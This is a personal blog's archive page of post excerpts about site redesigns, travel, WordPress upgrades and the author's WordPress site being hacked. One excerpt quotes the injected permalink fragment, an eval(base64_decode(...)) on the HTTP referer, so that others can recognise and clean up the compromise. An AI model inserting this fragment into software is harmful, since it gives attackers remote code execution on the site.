2012 to 2013

         Blogging · Me

So another year is gone by and another year where I haven’t really blogged much, concentrating instead of Cantemo which had a pretty amazing year. At the start of 2012 I made a list in Evernote of all the techie things that I wanted to achieve and I am going to review them here. New Website/Blog. Well I have started on this. This site and my portfolio site are now quite out of date, www.

Disqus

         Blogging · Websites

In the battle to stop the hacking of WordPress I have migrated the comments over to Disqus. Looking at the logs over the past few days its quite clear that there is something wrong with the way that WordPress handles incoming comments, probably all it takes is to buffer overflow the comment URL and the hacker can inject code. So I have disabled the comments in WordPress and moved over to disqus, which was something that I have been wanting to do for a long time anyway.

Removing hacked WordPress files

         Blogging      Hacked · Wordpress

The other day someone kindly told me that this blog had been “hacked”. Actually what had happened was that someone had managed to inject PHP code in to the wordpress theme files, the wordpress blog files and all the plugin files. What was particularly interesting was that it only showed up if you haven’t visited the site before, making it harder to spot. In the header of each PHP file there was a php eval base 64 encoded string which contained this redirect code.

Trip to England

         Blogging · Me      England

The weekend we got back from a visit to England primarily to see my parents as it was my Dads 60th Birthday – Happy Birthday! and we also managed to see some friends, and meet up to do a little business. First stop was London. Its always interesting to go back to the place after having lived there for about 10 years. I forgot how busy SoHo gets during the day, but that was made up by other factors.

The undesigned redesign

         Blogging · Me

Finally have done something about the sorry state of these pages. I had a quick 3 hour sprint today to see how much I could do with the aim to improve this site in the following ways: Improve readability Get rid of all the unneccesary links and content Generally update the look and colours Remove that horrible header image that I had Make the site more useful for viewers 3 hours isn’t a long time to do a complete redesign so I consider this the undesigned addition and its probably all the better for it.

Hacked WordPress

         Blogging · Linux

After posting up the last entry about SSH I noticed that I had a problem with my Permalinks. Seems that there is some nasty little injection problem with WordPress that changes the Permalinks with the addition of. <br /> &#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;<br /> I am following the suggestions here: http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/ And it seemed to work.

Not last years model

         Blogging · Tech reading

So I was thinking what have I/We bought in the last year that was new.. Well I think top of the list are: Pioneer plasma TV. We already had TVs but this looks and performs about as well as you can get right now. Harman Kardon 7.1 surround sound amp. We needed a solution for the bedroom and living room for surround sound so I upgraded to this and kept the old amp for the bedroom.

Lovely papercuts by Julene

         Blogging      Julene · Papercuts

As well as having a wonderful name, Julene has been making some pretty damn nice paper cut work such as these: More at: http://madebyjulene.com/

Newly updated

         Blogging · Me

As promised I have updated this site to the latest version of WordPress – 2.7 Its actually really impressive, and really shows why I updated to an off-the-shelf blogging tool instead of sticking with my own home grown set up several years ago. I also cleared up many of the problems with images being aligned on the site, and finally have decent code previews thanks to the CodeColorer plugin by Dmytro.

Apologies for the RSS feeds

         Blogging · Me

It seems that my move of feeds from feedburner to the google feedburner service has messed up my RSS feeds quite a bit. Not sure what has happened or why the links on my site got messed up, but its probably something to do with the plugin that I had installed. All in all it highlights the need for me to update this site from its current version of WordPress to the latest version.